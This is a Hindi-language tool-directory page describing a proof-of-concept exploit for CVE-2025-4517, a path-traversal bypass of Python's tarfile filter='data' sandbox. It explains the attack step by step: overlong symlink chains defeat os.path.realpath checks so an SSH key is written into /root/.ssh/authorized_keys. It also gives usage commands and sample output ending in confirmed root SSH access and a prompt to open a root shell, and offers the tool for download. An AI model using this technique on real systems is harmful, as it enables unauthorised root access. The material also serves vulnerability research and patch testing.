Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/estebanzarate/cve-2025-4517-python-tarfile-filter-data-bypass-poc
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगपेलोड डेवलपमेंट
GitHubestebanzarate/cve-2025-4517-python-tarfile-filter-data-bypass-poc

CVE-2025-4517-Python-tarfile-filter-data-Bypass-PoC

CVE-2025-4517 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, Python के tarfile filter='data' सैंडबॉक्स में एक पाथ ट्रैवर्सल भेद्यता, क्राफ्टेड सिमलिंक श्रृंखलाओं के माध्यम से निष्कर्षण निर्देशिका के बाहर मनमानी फ़ाइल लेखन सक्षम करता है।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
116 महीने पहलेअभी तक समीक्षित नहीं

CVE-2025-4517 — Python tarfile filter="data" बायपास (PoC)

Python के tarfile मॉड्यूल में पथ ट्रैवर्सल भेद्यता जो संस्करण 3.8.0 से 3.13.1 को प्रभावित करती है। filter="data" सैंडबॉक्स — जो असुरक्षित निष्कर्षण को रोकने के लिए बनाया गया है — को PATH_MAX (4096 बाइट्स) से अधिक पथ बनाकर बायपास किया जा सकता है, जिससे os.path.realpath() चुपचाप सिमलिंक को हल करना बंद कर देता है। सुरक्षा जाँच एक सुरक्षित-दिखने वाला पथ देखती है जबकि कर्नेल वास्तविक पथ को हल करता है, जिससे निष्कर्षण निर्देशिका के बाहर लिखने की अनुमति मिलती है। यह PoC बायपास का दुरुपयोग करके /root/.ssh/authorized_keys में एक SSH पब्लिक की लिखता है।


यह कैसे काम करता है

  1. गहरे नेस्टेड निर्देशिकाओं (247-अक्षर के नाम) के साथ एक दुर्भावनापूर्ण tar बनाता है जो सिमलिंक पथों को PATH_MAX से आगे धकेलता है।
  2. filter="data" प्रत्येक पथ को मान्य करने के लिए os.path.realpath() को कॉल करता है — लेकिन PATH_MAX पर यह हल करना बंद कर देता है और पथ को स्टेजिंग निर्देशिका के अंदर ही देखता है। जाँच पास हो जाती है।
  3. कर्नेल निष्कर्षण के दौरान पूरे पथ को सही ढंग से हल करता है, सैंडबॉक्स से बाहर निकल जाता है।
  4. बच गई सिमलिंक श्रृंखला के माध्यम से एक सामान्य फ़ाइल लिखी जाती है, जो /root/.ssh/authorized_keys में पहुँचती है।
  5. इंजेक्ट की गई कुंजी के साथ SSH के माध्यम से रूट के रूप में पहुँच की पुष्टि की जाती है।

आवश्यकताएँ

  • Python 3
  • ssh-keygen उपलब्ध हो (या -k के साथ अपनी स्वयं की पब्लिक की प्रदान करें)
  • भेद्य स्क्रिप्ट द्वारा उपयोग की जाने वाली बैकअप निर्देशिका पर लिखने की अनुमति
  • भेद्य निष्कर्षण को ट्रिगर करने के लिए sudo अधिकार

उपयोग

root@kitploit:~
# स्वचालित रूप से एक नई कुंजी जोड़ी उत्पन्न करें
python3 exploit.py

# मौजूदा पब्लिक की का उपयोग करें
python3 exploit.py -k ~/.ssh/id_ed25519.pub

उदाहरण:

root@kitploit:~
$ python3 exploit.py
[+] SSH keypair generated: /tmp/cve_2025_4517_key
[*] Creating exploit tar...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Extraction completed
[*] Verifying exploit via SSH...
[+] SUCCESS! SSH as root confirmed: uid=0(root) gid=0(root) groups=0(root)

============================================================
[+] EXPLOITATION SUCCESSFUL!
[+] SSH into root with: ssh -i /tmp/cve_2025_4517_key root@localhost
============================================================

[?] Open root shell now? (y/n):

संदर्भ

  • CVE-2025-4517
  • Python tarfile documentation — extraction filters
  • Python Security Advisory

क्रेडिट

  • खोज: Python Security Response Team
  • सफाई और सरलीकरण: Esteban Zárate
टूल डाउनलोड करें